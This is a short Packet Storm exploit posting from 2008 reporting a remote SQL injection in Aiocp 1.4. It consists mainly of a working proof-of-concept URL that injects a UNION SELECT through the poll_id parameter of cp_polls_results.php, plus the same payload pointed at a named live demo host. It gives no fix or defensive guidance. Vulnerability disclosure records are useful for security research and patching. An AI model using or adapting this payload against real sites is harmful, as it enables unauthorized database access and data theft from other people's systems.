aiocp14-sql.txt

2008-10-28T00:00:00
ID PACKETSTORM:71283
Type packetstorm
Reporter ExSploiters
Modified 2008-10-28T00:00:00

Description

                                        
                                            `###########################################  
# Aiocp 1.4 Remote SQL Injection vulnerability  
#  
# Found by : ExSploiters  
#  
# Contact : exsploiters@gmail.com  
#  
# Download : http://sourceforge.net/project/showfiles.php?group_id=159137&package_id=178594&release_id=619157  
###########################################  
  
PoC :  
  
http://[target]/[path]/public/code/cp_polls_results.php?poll_language=eng&poll_id=-0+union+select+0,1,2,version(),4,5,6--  
  
L!ve Demo :  
  
http://demo.opensourcecms.com/aiocp/public/code/cp_polls_results.php?poll_language=eng&poll_id=-0+union+select+0,1,2,version(),4,5,6--  
  
Greetz :  
  
no one =)  
  
`